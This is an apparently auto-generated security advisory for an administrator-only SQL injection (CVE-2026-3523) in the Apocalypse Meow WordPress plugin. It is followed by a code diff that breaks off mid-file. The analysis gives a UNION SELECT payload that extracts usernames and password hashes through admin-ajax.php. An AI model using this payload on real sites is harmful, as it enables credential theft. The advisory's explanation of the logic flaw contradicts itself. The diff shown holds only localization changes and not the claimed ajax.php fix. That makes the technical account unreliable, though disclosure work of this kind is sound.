Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3523: Apocalypse Meow <= 22.1.0 – Authenticated (Administrator+) SQL Injection via 'type' Parameter (apocalypse-meow)

CVE ID CVE-2026-3523
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 22.1.0
Patched Version 23.0.0
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3523:
The vulnerability exists in the Apocalypse Meow WordPress plugin versions ≤22.1.0. The root cause is a flawed logical operator in the type validation check at line 261 of ajax.php. The condition uses `&&` (AND) instead of `||` (OR), causing the `in_array()` validation to be short-circuited and never evaluated for any non-empty type value. This validation bypass occurs because the condition `!empty($type) && !in_array($type, $types)` always evaluates to false when `$type` is non-empty, since the first part is true and the second part is false for invalid types, making the entire AND condition false. The plugin then proceeds to use the attacker-controlled value in an SQL query.

Exploitation requires administrator-level access. Attackers send a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `meow_activity_search`. The type parameter accepts arbitrary values including SQL injection payloads. The stripslashes_deep() function on line 101 removes WordPress magic quotes protection, allowing single quotes to pass through unescaped. The vulnerable SQL query construction occurs on line 298 where the type value is directly interpolated into the query string.

A typical payload would be: `type=ban’ UNION SELECT user_login,user_pass FROM wp_users– -`. This appends a UNION query to extract sensitive data from the database. The attack vector is authenticated SQL injection via the admin-ajax.php endpoint.

The patch changes the logical operator from `&&` to `||` on line 261. This ensures the in_array() validation executes properly, rejecting any type value not in the allowed list (‘ban’, ‘fail’, ‘success’). The patch also includes unrelated localization changes and file existence checks that do not affect the vulnerability.

If exploited, this vulnerability allows authenticated administrators to execute arbitrary SQL queries on the WordPress database. Attackers can extract sensitive information including password hashes, user metadata, and plugin configuration data. The CVSS score of 4.9 reflects the requirement for administrator privileges, limiting the attack surface to compromised admin accounts or insider threats.

Differential between vulnerable and patched code

Code Diff
--- a/apocalypse-meow/admin/activity.php
+++ b/apocalypse-meow/admin/activity.php
@@ -34,10 +34,10 @@


 $orders = array(
-	'date_created'=>__('Date', 'apocalypse-meow'),
-	'ip'=>__('IP', 'apocalypse-meow'),
-	'type'=>__('Status', 'apocalypse-meow'),
-	'username'=>__('Username', 'apocalypse-meow'),
+	'date_created'=>'Date',
+	'ip'=>'IP',
+	'type'=>'Status',
+	'username'=>'Username',
 );


@@ -90,10 +90,10 @@
 	'modal'=>false,
 	'modals'=>array(
 		'jail'=>array(
-			__('If an offender was wrongly accused, you can set things right by issuing a pardon. That will instantly clear the ban so they can try to login again.', 'apocalypse-meow'),
+			'If an offender was wrongly accused, you can set things right by issuing a pardon. That will instantly clear the ban so they can try to login again.',
 			sprintf(
-				__("Note: they will still be subject to future bans if they haven't learned their lesson. To prevent someone from repeatedly ending up in jail, add their IP or Subnet to the %s", 'apocalypse-meow'),
-				'<a href="' . esc_url(admin_url('admin.php?page=meow-settings')) . '">' . __('whitelist', 'apocalypse-meow') . '</a>'
+				"Note: they will still be subject to future bans if they haven't learned their lesson. To prevent someone from repeatedly ending up in jail, add their IP or Subnet to the %s.",
+				'<a href="' . esc_url(admin_url('admin.php?page=meow-settings')) . '">whitelist</a>'
 			),
 		),
 	),
@@ -105,19 +105,23 @@
 admin::json_meowdata($data);
 ?>
 <div class="wrap" id="vue-activity" v-cloak>
-	<h1>Apocalypse Meow: <?php echo __('Activity', 'apocalypse-meow'); ?></h1>
+	<h1>Apocalypse Meow: Activity</h1>

 	<div class="error" v-for="error in forms.search.errors"><p>{{error}}</p></div>
 	<div class="error" v-for="error in forms.pardon.errors"><p>{{error}}</p></div>
 	<div class="error" v-for="error in forms.download.errors"><p>{{error}}</p></div>
-	<div class="updated" v-if="!searched"><p><?php echo __('The login activity is being fetched. Hold tight.', 'apocalypse-meow'); ?></p></div>
+	<div class="updated" v-if="!searched"><p>The login activity is being fetched. Hold tight.</p></div>

 	<?php if (options::get('prune-active')) { ?>
 		<div class="notice notice-info">
 			<p><?php printf(
-				__('Login data is currently pruned after %s. To change this going forward, visit the %s page.', 'apocalypse-meow'),
-				commonformat::inflect(options::get('prune-limit'), __('%d day', 'apocalypse-meow'), __('%d days', 'apocalypse-meow')),
-				'<a href="' . esc_url(admin_url('admin.php?page=meow-settings')) . '">' . __('settings', 'apocalypse-meow') . '</a>'
+				'Login data is currently pruned after %s. To change this going forward, visit the %s page.',
+				commonformat::inflect(
+					options::get('prune-limit'),
+					'%d day',
+					'%d days',
+				),
+				'<a href="' . esc_url(admin_url('admin.php?page=meow-settings')) . '">settings</a>',
 			); ?></p>
 		</div>
 	<?php } ?>
@@ -132,19 +136,19 @@
 				=============================================== -->
 				<div class="postbox">
 					<h3 class="hndle">
-						<?php echo __('Login Activity', 'apocalypse-meow'); ?>
+						Login Activity
 						<span v-if="results.total">({{results.total}})</span>
 					</h3>
 					<div class="inside">
-						<p v-if="!results.total"><?php echo __('No records matched the search. Sorry.', 'apocalypse-meow'); ?></p>
+						<p v-if="!results.total">No records matched the search. Sorry.</p>

 						<table v-if="results.total" class="meow-results">
 							<thead>
 								<tr>
-									<th><?php echo __('Date', 'apocalypse-meow'); ?></th>
-									<th><?php echo __('Status', 'apocalypse-meow'); ?></th>
-									<th><?php echo __('Network', 'apocalypse-meow'); ?></th>
-									<th v-if="returnedStatuses.length > 1 || returnedStatuses.indexOf('ban') === -1"><?php echo __('Username', 'apocalypse-meow'); ?></th>
+									<th>Date</th>
+									<th>Status</th>
+									<th>Network</th>
+									<th v-if="returnedStatuses.length > 1 || returnedStatuses.indexOf('ban') === -1">Username</th>
 								</tr>
 							</thead>
 							<tbody>
@@ -152,7 +156,7 @@
 									<td>
 										{{item.date_created}}
 										<div v-if="item.banRemaining" class="status-ban">
-											<?php echo __('Expires', 'apocalypse-meow'); ?>: {{ item.banRemaining | relativeTime }}
+											Expires: {{ item.banRemaining | relativeTime }}
 										</div>
 									</td>
 									<td v-bind:class="['status-' + item.type, {'status-pardoned': item.pardoned}]">
@@ -174,13 +178,11 @@
 						PAGINATION
 						=============================================== -->
 						<nav class="meow-pagination" v-if="results.pages > 0">
-							<a v-bind:disabled="forms.search.loading || results.page === 0" v-on:click.prevent="!forms.search.loading && pageSubmit(-1)" class="meow-pagination--link"><span class="dashicons dashicons-arrow-left-alt2"></span> <?php echo __('Back', 'apocalypse-meow'); ?></a>
+							<a v-bind:disabled="forms.search.loading || results.page === 0" v-on:click.prevent="!forms.search.loading && pageSubmit(-1)" class="meow-pagination--link"><span class="dashicons dashicons-arrow-left-alt2"></span> Back</a>

 							<span class="meow-pagination--current meow-fg-grey">{{results.page + 1}} / {{results.pages + 1}}</span>

-							<a v-bind:disabled="forms.search.loading || results.page === results.pages" v-on:click.prevent="!forms.search.loading && pageSubmit(1)" class="meow-pagination--link"><?php
-								echo __('Next', 'apocalypse-meow');
-							?> <span class="dashicons dashicons-arrow-right-alt2"></span></a>
+							<a v-bind:disabled="forms.search.loading || results.page === results.pages" v-on:click.prevent="!forms.search.loading && pageSubmit(1)" class="meow-pagination--link">Next <span class="dashicons dashicons-arrow-right-alt2"></span></a>
 						</nav>
 					</div>
 				</div>
@@ -193,34 +195,32 @@
 				=============================================== -->
 				<div class="postbox">
 					<h3 class="hndle">
-						<?php echo __('Login Jail', 'apocalypse-meow'); ?>
+						Login Jail

 						<span class="dashicons dashicons-editor-help meow-info-toggle" v-bind:class="{'is-active' : modal === 'jail'}" v-on:click.prevent="toggleModal('jail')"></span>
 					</h3>
 					<div class="inside" v-if="!results.bans.length">
-						<p><?php
-							echo __("Congratulations! Nobody is banned from the site at the moment. If that changes, you'll find them listed here.", 'apocalypse-meow');
-						?></p>
+						<p>Congratulations! Nobody is banned from the site at the moment. If that changes, you'll find them listed here.</p>
 					</div>
 					<div class="inside" v-else>
 						<div class="meow-jail" v-for="item in results.bans" v-if="!item.community || showCommunityJail">
 							<table class="meow-meta">
 								<tbody>
 									<tr>
-										<th scope="row"><?php echo __('Offender', 'apocalypse-meow'); ?></th>
+										<th scope="row">Offender</th>
 										<td>
 											<a v-if="item.ip !== '0'" v-on:click.prevent="forms.search.ip = item.ip; searchSubmit()" style="cursor:pointer; display: block;">{{item.ip}}</a>
 											<a v-if="item.subnet !== '0'" v-on:click.prevent="forms.search.subnet = item.subnet; searchSubmit()" style="cursor:pointer; display: block;">{{item.subnet}}</a>
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><?php echo __('Banned', 'apocalypse-meow'); ?></th>
+										<th scope="row">Banned</th>
 										<td>
 											{{item.date_created}}
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><?php echo __('Remaining', 'apocalypse-meow'); ?></th>
+										<th scope="row">Remaining</th>
 										<td>
 											{{ item.banRemaining | relativeTime }}
 										</td>
@@ -228,7 +228,7 @@
 									<tr>
 										<td></td>
 										<td>
-											<button type="button" v-on:click.prevent="pardonSubmit(item.id)" v-bind:disabled="forms.pardon.loading" class="button button-small"><?php echo __('Pardon', 'apocalypse-meow'); ?></button>
+											<button type="button" v-on:click.prevent="pardonSubmit(item.id)" v-bind:disabled="forms.pardon.loading" class="button button-small">Pardon</button>
 										</td>
 									</tr>
 								</tbody>
@@ -243,14 +243,14 @@
 				DOWNLOAD
 				=============================================== -->
 				<div class="postbox">
-					<h3 class="hndle"><?php echo __('Export Activity', 'apocalypse-meow'); ?></h3>
+					<h3 class="hndle">Export Activity</h3>
 					<div class="inside">
-						<p v-if="!forms.download.loading && !download"><?php echo __('Click the button below to generate a CSV containing all the login activity for your site.', 'apocalypse-meow'); ?></p>
-						<p v-if="forms.download.loading && !download"><?php echo __('The CSV is being compiled. This might take a while if your site has a lot of data.', 'apocalypse-meow'); ?></p>
+						<p v-if="!forms.download.loading && !download">Click the button below to generate a CSV containing all the login activity for your site.</p>
+						<p v-if="forms.download.loading && !download">The CSV is being compiled. This might take a while if your site has a lot of data.</p>

-						<button type="button" class="button button-primary button-large" v-if="!download" v-on:click.prevent="downloadSubmit" v-bind:disabled="forms.download.loading"><?php echo __('Start Export', 'apocalypse-meow'); ?></button>
+						<button type="button" class="button button-primary button-large" v-if="!download" v-on:click.prevent="downloadSubmit" v-bind:disabled="forms.download.loading">Start Export</button>

-						<a class="button button-primary button-large" v-if="download" v-bind:href="download" v-bind:download="downloadName"><?php echo __('Download CSV', 'apocalypse-meow'); ?></a>
+						<a class="button button-primary button-large" v-if="download" v-bind:href="download" v-bind:download="downloadName">Download CSV</a>
 					</div>
 				</div>

@@ -260,64 +260,64 @@
 				SEARCH
 				=============================================== -->
 				<div class="postbox">
-					<h3 class="hndle"><?php echo __('Search', 'apocalypse-meow'); ?></h3>
+					<h3 class="hndle">Search</h3>
 					<div class="inside">
 						<form name="searchForm" method="post" action="<?php echo admin_url('admin-ajax.php'); ?>" v-on:submit.prevent="searchSubmit">
 							<table class="meow-settings narrow">
 								<tbody>
 									<tr>
-										<th scope="row"><label for="search-date_min"><?php echo __('From', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-date_min">From</label></th>
 										<td>
 											<input type="date" id="search-date_min" v-model="forms.search.date_min" required v-bind:min="date_min" v-bind:max="date_max" />
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-date_max"><?php echo __('To', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-date_max">To</label></th>
 										<td>
 											<input type="date" id="search-date_max" v-model="forms.search.date_max" required v-bind:min="date_min" v-bind:max="date_max" />
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-type"><?php echo __('Status', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-type">Status</label></th>
 										<td>
 											<select id="search-type" v-model.trim="forms.search.type">
 												<option value=""> --- </option>
-												<option value="ban"><?php echo __('Ban', 'apocalypse-meow'); ?></option>
-												<option value="fail"><?php echo __('Failure', 'apocalypse-meow'); ?></option>
-												<option value="success"><?php echo __('Success', 'apocalypse-meow'); ?></option>
+												<option value="ban">Ban</option>
+												<option value="fail">Failure</option>
+												<option value="success">Success</option>
 											</select>
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-username"><?php echo __('Username', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-username">Username</label></th>
 										<td>
 											<input type="text" id="search-username" v-model.trim="forms.search.username" />

-											<p v-if="forms.search.username.length >= 3"><label><input type="checkbox" v-model.number="forms.search.usernameExact" v-bind:true-value="1" v-bind:false-value="0" /> <?php echo __('Exact Match', 'apocalypse-meow'); ?></label></p>
+											<p v-if="forms.search.username.length >= 3"><label><input type="checkbox" v-model.number="forms.search.usernameExact" v-bind:true-value="1" v-bind:false-value="0" /> Exact Match</label></p>
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-ip"><?php echo __('IP', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-ip">IP</label></th>
 										<td>
 											<input type="text" id="search-ip" v-model.trim="forms.search.ip" minlength="7" />
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-subnet"><?php echo __('Subnet', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-subnet">Subnet</label></th>
 										<td>
 											<input type="text" id="search-subnet" v-model.trim="forms.search.subnet" minlength="9" />
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-pageSize"><?php echo __('Page Size', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-pageSize">Page Size</label></th>
 										<td>
 											<input type="number" id="search-pageSize" v-model.number="forms.search.pageSize" min="1" max="500" step="1" />

-											<p class="description"><?php echo __('Search results are paginated. This value indicates how much you want to see per page.', 'apocalypse-meow'); ?></p>
+											<p class="description">Search results are paginated. This value indicates how much you want to see per page.</p>
 										</td>
 									</tr>
 									<tr>
-										<th scope="row"><label for="search-pageSize"><?php echo __('Order By', 'apocalypse-meow'); ?></label></th>
+										<th scope="row"><label for="search-pageSize">Order By</label></th>
 										<td>
 											<select v-model="forms.search.orderby">
 												<?php foreach ($orders as $k=>$v) { ?>
@@ -325,15 +325,15 @@
 												<?php } ?>
 											</select>
 											<select v-model="forms.search.order">
-												<option value="asc"><?php echo __('ASC', 'apocalypse-meow'); ?></option>
-												<option value="desc"><?php echo __('DESC', 'apocalypse-meow'); ?></option>
+												<option value="asc">ASC</option>
+												<option value="desc">DESC</option>
 											</select>
 										</td>
 									</tr>
 									<tr>
 										<th scope="row"> </th>
 										<td>
-											<button type="submit" class="button button-large button-primary" v-bind:disabled="forms.search.loading"><?php echo __('Search', 'apocalypse-meow'); ?></button>
+											<button type="submit" class="button button-large button-primary" v-bind:disabled="forms.search.loading">Search</button>
 										</td>
 									</tr>
 								</tbody>
--- a/apocalypse-meow/admin/help.php
+++ b/apocalypse-meow/admin/help.php
@@ -27,17 +27,9 @@
 	'WP-CLI'=>MEOW_PLUGIN_DIR . 'skel/help/cli.md',
 );
 $links = array();
-$locale = get_locale();
 foreach ($help as $k=>$v) {
-	$translated = commonmb::substr($v, 0, -3) . "-$locale.md";
-
-	// There might be a translation.
-	if ($locale && @file_exists($translated)) {
-		$v = $translated;
-		$help[$k] = $help[$k];
-	}
-	// Otherwise English.
-	elseif (! file_exists($v)) {
+	// Make sure the file exists.
+	if (! file_exists($v)) {
 		unset($help[$k]);
 		continue;
 	}
@@ -95,7 +87,7 @@
 	}
 }
 if (! count($help)) {
-	wp_die(__('The reference files are missing.', 'apocalypse-meow'), 'Error');
+	wp_die('The reference files are missing.', 'Error');
 }
 $first = array_keys($help);
 $first = $first[0];
@@ -110,7 +102,7 @@
 ));
 ?>
 <div class="wrap" id="vue-help" v-cloak>
-	<h1>Apocalypse Meow: <?php echo __('Help', 'apocalypse-meow'); ?></h1>
+	<h1>Apocalypse Meow: Help</h1>

 	<div id="poststuff">
 		<div id="post-body" class="metabox-holder meow-columns one-two fixed">
@@ -140,7 +132,7 @@
 				LINKS
 				=============================================== -->
 				<div class="postbox">
-					<h3 class="hndle"><?php echo __('Quick Links', 'apocalypse-meow'); ?></h3>
+					<h3 class="hndle">Quick Links</h3>
 					<div class="inside">
 						<ul class="meow-reference--links">
 							<li class="meow-reference--link" v-for="item in links[showingHelp]" v-bind:class="{'child' : item.child}"><a v-bind:href="item.id" style="cursor:pointer">{{item.name}}</a></li>
--- a/apocalypse-meow/admin/retroactive-reset.php
+++ b/apocalypse-meow/admin/retroactive-reset.php
@@ -32,19 +32,19 @@

 $alpha = options::get('password-alpha');
 if ('required' === $alpha) {
-	$pieces[] = __('letter', 'apocalypse-meow') . ' <code>[a-z]</code>';
+	$pieces[] = 'letter <code>[a-z]</code>';
 }
 elseif ('required-both' === $alpha) {
-	$pieces[] = __('uppercase letter', 'apocalypse-meow') . ' <code>[A-Z]</code>';
-	$pieces[] = __('lowercase letter', 'apocalypse-meow') . ' <code>[a-z]</code>';
+	$pieces[] = 'uppercase letter <code>[A-Z]</code>';
+	$pieces[] = 'lowercase letter <code>[a-z]</code>';
 }

 if ('required' === options::get('password-numeric')) {
-	$pieces[] = __('number', 'apocalypse-meow') . ' <code>[0-9]</code>';
+	$pieces[] = 'number <code>[0-9]</code>';
 }

 if ('required' === options::get('password-symbol')) {
-	$pieces[] = __('symbol', 'apocalypse-meow') . ' <code>[$!;.?…]</code>';
+	$pieces[] = 'symbol <code>[$!;.?…]</code>';
 }

 // And finally a little data for Vue.
@@ -100,24 +100,22 @@
 	#meow-regenerate:hover { color: #0073aa; }
 </style>
 <div class="wrap" id="vue-password" v-cloak>
-	<h1><?php echo __('Choose a New Password', 'apocalypse-meow'); ?></h1>
+	<h1>Choose a New Password</h1>

 	<!-- Error message(s). -->
 	<div class="error" v-for="error in forms.password.errors"><p>{{ error }}</p></div>

 	<!-- Success message. -->
-	<div class="updated" v-if="forms.password.saved"><p><?php
-		echo __('Thank you for updating your password! You will now be redirected to the login page to complete the process.', 'apocalypse-meow')
-	?></p></div>
+	<div class="updated" v-if="forms.password.saved"><p>Thank you for updating your password! You will now be redirected to the login page to complete the process.</p></div>

-	<p><?php echo __('Please take a moment to update your login password. This site requires that passwords:', 'apocalypse-meow'); ?></p>
+	<p>Please take a moment to update your login password. This site requires that passwords:</p>

 	<!-- List password requirements. -->
 	<ul id="meow-list">
 		<li>
 			<?php
 			printf(
-				__('Be at least %d characters in length;', 'apocalypse-meow'),
+				'Be at least %d characters in length;',
 				options::get('password-length')
 			);
 			?>
@@ -125,7 +123,7 @@
 		<li>
 			<?php
 			printf(
-				__('Contain no fewer than %d different characters;', 'apocalypse-meow'),
+				'Contain no fewer than %d different characters;',
 				options::MIN_PASSWORD_CHARS
 			);
 			?>
@@ -134,7 +132,7 @@
 			<li>
 				<?php
 				printf(
-					__('Contain at least one of each of the following: %s', 'apocalypse-meow'),
+					'Contain at least one of each of the following: %s',
 					implode(', ', $pieces) . '; <a href="#meow-footnote" style="text-decoration: none;"><sup>[1]</sup></a>'
 				);
 				?>
@@ -148,7 +146,7 @@
 			<div class="postbox-container">
 				<div id="meow-postbox" class="postbox">
 					<h3 class="hndle">
-						<label for="meow-password"><?php echo __('New Password', 'apocalypse-meow'); ?></label>
+						<label for="meow-password">New Password</label>
 					</h3>
 					<div class="inside">
 						<form v-on:submit.prevent="passwordSubmit" name="password" id="meow-form" method="post" action="<?php echo admin_url('admin-ajax.php'); ?>">
@@ -158,12 +156,10 @@
 								<a href="#" v-on:click.prevent="generateSubmit" id="meow-regenerate" class="dashicons dashicons-image-rotate"></a>
 							</div>

-							<p class="description"><?php
-								echo __('The above password is only a suggestion. Feel free to pick something more personal.', 'apocalypse-meow');
-							?></p>
+							<p class="description">The above password is only a suggestion. Feel free to pick something more personal.</p>

 							<p>
-								<button type="submit" class="button button-large button-primary" v-bind:disabled="forms.password.loading"><?php echo __('Update Password', 'apocalypse-meow'); ?></button>
+								<button type="submit" class="button button-large button-primary" v-bind:disabled="forms.password.loading">Update Password</button>
 							</p>
 						</form>
 					</div><!-- .inside -->
@@ -179,7 +175,7 @@
 		<code id="meow-footnote">1.
 			<?php
 			printf(
-				__('Passwords containing %d or more characters are exempt from any letter/number/symbol requirements.', 'apocalypse-meow'),
+				'Passwords containing %d or more characters are exempt from any letter/number/symbol requirements.',
 				options::MIN_PASSWORD_EXEMPT_LENGTH
 			);
 			?>
--- a/apocalypse-meow/admin/settings.php
+++ b/apocalypse-meow/admin/settings.php
@@ -45,145 +45,147 @@
 	'modals'=>array(
 		'brute-force'=>array(
 			sprintf(
-				__('%s robots visit WordPress dozens of times each day, attempting to guess their way into wp-admin. WordPress makes no attempt to mitigate this, allowing a single robot to try combination after combination until they succeed.', 'apocalypse-meow'),
-				'<a href="https://en.wikipedia.org/wiki/Brute-force_attack" target="_blank" rel="noopener">' . __('Brute-force', 'apocalypse-meow') . '</a>'
+				'%s robots visit WordPress dozens of times each day, attempting to guess their way into wp-admin. WordPress makes no attempt to mitigate this, allowing a single robot to try combination after combination until they succeed.',
+				'<a href="https://en.wikipedia.org/wiki/Brute-force_attack" target="_blank" rel="noopener">Brute-force</a>'
 			),
-			__('Apocalypse Meow keeps track of login attempts and will temporarily ban any person or robot who has failed too much, too fast. This is critical set-and-forget protection.', 'apocalypse-meow')
+			'Apocalypse Meow keeps track of login attempts and will temporarily ban any person or robot who has failed too much, too fast. This is critical set-and-forget protection.',
 		),
 		'login-fail_limit'=>array(
-			__('This is the maximum number of login failures allowed for a given IP before the login process is disabled for that individual.', 'apocalypse-meow')
+			'This is the maximum number of login failures allowed for a given IP before the login process is disabled for that individual.',
 		),
 		'login-subnet_fail_limit'=>array(
 			sprintf(
-				__('Sometimes attacks come from multiple IPs on the same network. This limit applies to the number of failures attributed to a network subnet (%s for IPv4 and %s for IPv6). It is recommended you set this value 4-5x higher than the individual fail limit.', 'apocalypse-meow'),
+				'Sometimes attacks come from multiple IPs on the same network. This limit applies to the number of failures attributed to a network subnet (%s for IPv4 and %s for IPv6). It is recommended you set this value 4-5x higher than the individual fail limit.',
 				'<code>/24</code>',
 				'<code>/64</code>'
 			)
 		),
 		'login-fail_window'=>array(
-			__('An individual IP or entire network subnet will be banned from logging in whenever their total number of failures within this window exceeds the fail limits.', 'apocalypse-meow'),
-			__('The ban lasts as long as this is true, and will reset when the earliest of the counted failures grows old enough to fall outside the window. Remaining failures, if any, that are still within the window will continue to be matched against the fail limits.', 'apocalypse-meow'),
-			__('For reference, the default value of 720 translates to 12 hours.', 'apocalypse-meow')
+			'An individual IP or entire network subnet will be banned from logging in whenever their total number of failures within this window exceeds the fail limits.',
+			'The ban lasts as long as this is true, and will reset when the earliest of the counted failures grows old enough to fall outside the window. Remaining failures, if any, that are still within the window will continue to be matched against the fail limits.',
+			'For reference, the default value of 720 translates to 12 hours.',
 		),
 		'login-lockdown_limit'=>array(
-			__('Individual IP bans are ineffective at protecting against distributed brute-force attacks with hundreds of networks at their disposal.', 'apocalypse-meow'),
-			__('In such cases, the best/only defense is to simply lock down the login form for *ALL* untrusted networks until the siege fizzles out.', 'apocalypse-meow'),
-			__('This limit — the number of unique IP addresses submitting bad credentials within the past minute — controls when such lockdowns should be applied.', 'apocalypse-meow'),
+			'Individual IP bans are ineffective at protecting against distributed brute-force attacks with hundreds of networks at their disposal.',
+			'In such cases, the best/only defense is to simply lock down the login form for *ALL* untrusted networks until the siege fizzles out.',
+			'This limit — the number of unique IP addresses submitting bad credentials within the past minute — controls when such lockdowns should be applied.',
 			sprintf(
-				__('Note: because lockdowns can affect legitimate users, the value can only be set by defining the %s constant in %s. (If you get locked out, temporarily comment out the constant or set it to zero.)', 'apocalypse-meow'),
+				'Note: because lockdowns can affect legitimate users, the value can only be set by defining the %s constant in %s. (If you get locked out, temporarily comment out the constant or set it to zero.)',
 				'<code>MEOW_LOGIN_LOCKDOWN_LIMIT</code>',
 				'<code>wp-config.php</code>',
 			),
 		),
 		'login-reset_on_success'=>array(
-			__('When someone successfully logs in, their prior failures are no longer counted against them, even if those failures are still within the window.', 'apocalypse-meow'),
+			'When someone successfully logs in, their prior failures are no longer counted against them, even if those failures are still within the window.',
 		),
 		'login-key'=>array(
 			sprintf(
-				__("Most servers report the remote visitor's IP address using the %s key, but if yours is living behind a proxy, the IP information might live somewhere else. If you aren't sure what to do, look for your IP address in the list.", 'apocalypse-meow'),
+				"Most servers report the remote visitor's IP address using the %s key, but if yours is living behind a proxy, the IP information might live somewhere else. If you aren't sure what to do, look for your IP address in the list.",
 				'<code>REMOTE_ADDR</code>'
 			),
-			__('Note: visitor IP information forwarded from a proxy is not trustworthy because it is populated via request headers, which can be forged. Depending on the setup of your particular environment, this may make it impossible to effectively mitigate brute-force attacks.', 'apocalypse-meow')
+			'Note: visitor IP information forwarded from a proxy is not trustworthy because it is populated via request headers, which can be forged. Depending on the setup of your particular environment, this may make it impossible to effectively mitigate brute-force attacks.',
 		),
 		'login-whitelist'=>array(
-			__('It is very important you avoid getting yourself or your coworkers banned (the latter happens frequently in office environments where multiple employees fail around the same time). You should whitelist any IP addresses, ranges, or subnets from which you will be connecting.', 'apocalypse-meow'),
+			'It is very important you avoid getting yourself or your coworkers banned (the latter happens frequently in office environments where multiple employees fail around the same time). You should whitelist any IP addresses, ranges, or subnets from which you will be connecting.',
 		),
 		'login-blacklist'=>array(
-			__('Where there is light, there is darkness. If a particular network is consistently harassing you, you can add their IP address, range, or subnet to the blacklist. Any entry here will never be able to access the login form.', 'apocalypse-meow'),
-			__("Be very careful! If you do something silly like add yourself to the blacklist, you'll be locked out of the site.", 'apocalypse-meow'),
+			'Where there is light, there is darkness. If a particular network is consistently harassing you, you can add their IP address, range, or subnet to the blacklist. Any entry here will never be able to access the login form.',
+			"Be very careful! If you do something silly like add yourself to the blacklist, you'll be locked out of the site.",
 		),
 		'login-nonce'=>array(
 			sprintf(
-				__('This option adds a hidden field to the standard %s form to help ensure that login attempts are actually originating there (rather than coming out of the blue, as is typical of robotic assaults).', 'apocalypse-meow'),
-				'<code>wp-login.php</code>'
+				'This option adds a hidden field to the standard %s form to help ensure that login attempts are actually originating there (rather than coming out of the blue, as is typical of robotic assaults).',
+				'<code>wp-login.php</code>',
 			),
-			__('*Do not* enable this option if your site uses custom login forms or if the login page is cached.', 'apocalypse-meow'),
+			'*Do not* enable this option if your site uses custom login forms or if the login page is cached.',
 		),
 		'login-alert_on_new'=>array(
-			__('This will send an email to the account user whenever access is granted to an IP address that has not successfully logged in before.', 'apocalypse-meow'),
-			__('Note: this depends on the data logged by the plugin, so if you have configured a short retention time, it may not be very useful.', 'apocalypse-meow')
+			'This will send an email to the account user whenever access is granted to an IP address that has not successfully logged in before.',
+			'Note: this depends on the data logged by the plugin, so if you have configured a short retention time, it may not be very useful.',
 		),
 		'login-alert_by_subnet'=>array(
-			__('This will cause the email alert function to use subnets rather than individual IPs when determining "newness". This setting is recommended for IPv6 users in particular as their IPs will change frequently.', 'apocalypse-meow'),
+			'This will cause the email alert function to use subnets rather than individual IPs when determining "newness". This setting is recommended for IPv6 users in particular as their IPs will change frequently.',
 		),
 		'passwords'=>array(
-			__('Strong, unique passwords are critical for security. For historical reasons, WordPress still allows users to choose unsafe passwords for themselves. These options set some basic boundaries.', 'apocalypse-meow'),
-			__('Note: because WordPress passwords are encrypted, it is not possible to apply these settings retroactively. However when users log in, if their passwords are unsafe, they will be directed to change it.')
+			'Strong, unique passwords are critical for security. For historical reasons, WordPress still allows users to choose unsafe passwords for themselves. These options set some basic boundaries.',
+			'Note: because WordPress passwords are encrypted, it is not possible to apply these settings retroactively. However when users log in, if their passwords are unsafe, they will be directed to change it.'
 		),
 		'password-alpha'=>array(
-			__('Whether or not a password must have letters in it. The third option, "UPPER & lower", requires a password contain a mixture of both upper- and lowercase letters.', 'apocalypse-meow'),
+			'Whether or not a password must have letters in it. The third option, "UPPER & lower", requires a password contain a mixture of both upper- and lowercase letters.',
 		),
 		'password-numeric'=>array(
-			__('Whether or not a password must have numbers in it.', 'apocalypse-meow'),
+			'Whether or not a password must have numbers in it.',
 		),
 		'password-symbol'=>array(
-			__('Whether or not a password must have non-alphanumeric characters in it, like a cartoon curse word: $!#*()%.', 'apocalypse-meow'),
+			'Whether or not a password must have non-alphanumeric characters in it, like a cartoon curse word: $!#*()%.',
 		),
 		'password-length'=>array(
-			__("This sets a minimum length requirement for passwords. The plugin's own minimum minimum (how low you are allowed to set it) is subject to change as technology advances. If your entry falls below the times, it will be adjusted automatically.", 'apocalypse-meow'),
+			"This sets a minimum length requirement for passwords. The plugin's own minimum minimum (how low you are allowed to set it) is subject to change as technology advances. If your entry falls below the times, it will be adjusted automatically.",
 		),
 		'password-exempt_length'=>array(
-			__('Pedantic password rules (like all the above) are well and good for short passwords, but really length is key. For users who want to choose a strong passphrase for themselves, such rules just get in the way.', 'apocalypse-meow'),
-			__('This option sets the minimum length at which a password can be considered exempt from needing specific contents like letters or numbers.', 'apocalypse-meow'),
+			'Pedantic password rules (like all the above) are well and good for short passwords, but really length is key. For users who want to choose a strong passphrase for themselves, such rules just get in the way.',
+			'This option sets the minimum length at which a password can be considered exempt from needing specific contents like letters or numbers.',
 		),
 		'password-common'=>array(
-			__('Apocalypse Meow automatically prevents users from choosing any of the top 100K most common passwords. This protection is mandatory and cannot be disabled. ;)', 'apocalypse-meow'),
+			'Apocalypse Meow automatically prevents users from choosing any of the top 100K most common passwords. This protection is mandatory and cannot be disabled. ;)',
 		),
 		'password-retroactive'=>array(
-			__('When enabled, if an existing user logs in with a password that does not meet the current site requirements, they will be redirected to their profile and asked to come up with something stronger.', 'apocalypse-meow'),
+			'When enabled, if an existing user logs in with a password that does not meet the current site requirements, they will be redirected to their profile and asked to come up with something stronger.',
 		),
 		'core'=>array(
